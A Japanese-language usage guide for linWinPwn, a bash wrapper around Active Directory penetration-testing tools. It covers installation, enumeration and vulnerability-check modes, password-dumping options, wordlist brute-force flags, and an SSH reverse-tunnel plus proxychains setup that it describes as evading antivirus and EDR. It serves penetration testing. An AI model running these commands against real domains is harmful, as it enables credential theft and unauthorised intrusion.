
BashスクリプトでActive Directoryツール群をラップし、LDAP、RPC、Kerberos、SMBを介した自動列挙、脆弱性チェック、エクスプロイト、パスワードダンプを実行します。
linWinPwn は、Active Directory の各種ツールをラップする bash スクリプトです。列挙 (LDAP、RPC、ADCS、MSSQL、Kerberos、SCCM)、脆弱性チェック (noPac、ZeroLogon、MS17-010、MS14-068)、オブジェクト変更 (パスワード変更、ユーザーのグループへの追加、RBCD、Shadow Credentials)、パスワードダンプ (secretsdump、lsassy、nanodump、DonPAPI) を行います。このスクリプトは、impacket、bloodhound、netexec、enum4linux-ng、ldapdomaindump、lsassy、smbmap、kerbrute、certipy、silenthound、bloodyAD、DonPAPI など、多数のツールの使用を効率化します。
リポジトリを Git clone し、install.sh スクリプトを使用して要件をインストールします
git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn
chmod +x install.sh
./install.sh
あるいは、Docker Hub のビルド済み Docker イメージを使用します
docker pull lefayjey/linwinpwn:latest
# Add linWinPwn_docker to PATH
echo -e "docker run --rm --init -it --net=host -v \$(pwd):/opt/lwp-output lefayjey/linwinpwn:latest \$@" | sudo tee "/usr/local/sbin/linWinPwn_docker"
sudo chmod 755 /usr/local/sbin/linWinPwn_docker
# Run linWinPwn_docker (output to host's current directory)
linWinPwn_docker -t <DC_IP>
linWinPwn_docker -t <DC_IP> -d <domain> -u <user> -p <password> --auto
またはソースからビルドします
docker build -t linwinpwn .
docker run --rm --init -it --net=host -v $(pwd):/opt/lwp-output linwinpwn -t <DC_IP>
linWinPwn スクリプトは、対話モード (デフォルト) または自動モード (列挙のみ) で実行できます。
1. 対話モード (デフォルト) - 対話メニューを開き、チェックを個別に実行します
linWinPwn -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]> -o <output_dir>]
2. 自動モード - --auto パラメータを使用して、列挙ツールを実行します (エクスプロイト、変更、パスワードダンプは行いません)
自動モードを使用する場合、認証方法に基づいて異なるチェックが実行されます。
linWinPwn -t <Domain_Controller_IP> --auto [-o <output_dir>]
linWinPwn -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] --auto
Auto config - モジュールを実行する前に、ターゲット DC との NTP 同期を実行し、/etc/hosts にエントリを追加します
linWinPwn -t <Domain_Controller_IP> --auto-config
LDAPS - LDAP の代わりに LDAPS を使用します (ポート 636)
linWinPwn -t <Domain_Controller_IP> --ldaps
Force Kerberos Auth - (可能な場合) NTLM の代わりに Kerberos 認証を強制的に使用します
linWinPwn -t <Domain_Controller_IP> --force-kerb
Verbose - すべての詳細出力とデバッグ出力を有効にします
linWinPwn -t <Domain_Controller_IP> --verbose
Interface - 攻撃者のネットワークインターフェースを選択します
linWinPwn -t <Domain_Controller_IP> -I tun0
linWinPwn -t <Domain_Controller_IP> --interface eth0
Targets - スキャンするターゲットを選択します (DC、All、IP=IP_or_hostname、File=./path_to_file)
linWinPwn -t <Domain_Controller_IP> --targets All
linWinPwn -t <Domain_Controller_IP> --targets DC
linWinPwn -t <Domain_Controller_IP> -T IP=192.168.0.1
linWinPwn -t <Domain_Controller_IP> -T File=./list_servers.txt
Custom wordlists - カスタムのユーザーおよびパスワードワードリストを選択します
linWinPwn -t <Domain_Controller_IP> -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
linWinPwn -t <Domain_Controller_IP> -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt
linWinPwn は、Active Directory 環境に限られた時間だけアクセスでき、列挙プロセスと証拠収集をより効率的に行いたい場合に特に役立ちます。 さらに、linWinPwn は、作成されるアーティファクト (PowerShell コマンド、Windows イベント、ディスク上に作成されるファイルなど) の数を減らし、特定のアンチウイルスや EDR を回避する目的で、Windows 上の列挙ツールの使用を置き換えることができます。これは、Windows ホスト (VDI マシン、ワークステーション、ラップトップなど) からリモートの Linux マシン (ペネトレーションテスト用ラップトップや VPS など) への SSH トンネルを作成してリモート動的ポートフォワーディングを行い、proxychains で linWinPwn を実行することで実現できます。
Windows ホスト上で、PowerShell を使用して実行します:
ssh.exe kali@<linux_machine> -R 1080 -NCqf
Linux マシン上で、まず /etc/proxychains4.conf を更新して socks5 127.0.0.1 1080 を含め、次に実行します:
linWinPwn_proxychains -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] [--auto]